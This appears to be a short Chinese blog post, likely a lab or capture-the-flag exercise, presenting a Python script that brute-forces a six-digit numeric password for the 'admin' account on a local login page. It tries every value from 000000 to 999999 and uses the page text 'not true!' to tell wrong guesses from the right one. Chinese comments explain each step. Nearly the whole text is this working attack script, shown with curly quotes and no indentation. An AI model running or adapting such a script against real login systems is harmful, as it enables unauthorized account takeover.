import requests #requests是一个轻便的HTTP库
def exp(password):
url=‘http://127.0.0.1/login_me.php’#你想要暴力破解的网站
data={‘username’:‘admin’,‘password’:password}#这里需要查看传入的用户名和密码的英文,查看html网页的源代码,用户名已经确定是admin
req=requests.post(url,data=data)#模拟HTTP的POST请求,返回<Response [200]>
if ‘not true!’ in req.text:#req.text读取服务器响应的内容,如果页面存在not true!则代表密码错误
print(‘wrong password!password is {}’.format(password))
else:
print(‘The password is correct!password is {}’.format(password))
exit()
for password in range(999999):#遍历从000000到999999的数字尝试
if len(str(password))<6:#确保是6位字符串
password=‘0’*(6-len(str(password)))+str(password)
else:
password=str(password)
exp(password)
python编写脚本暴力破解6位纯数字密码
最新推荐文章于 2024-05-07 10:15:57 发布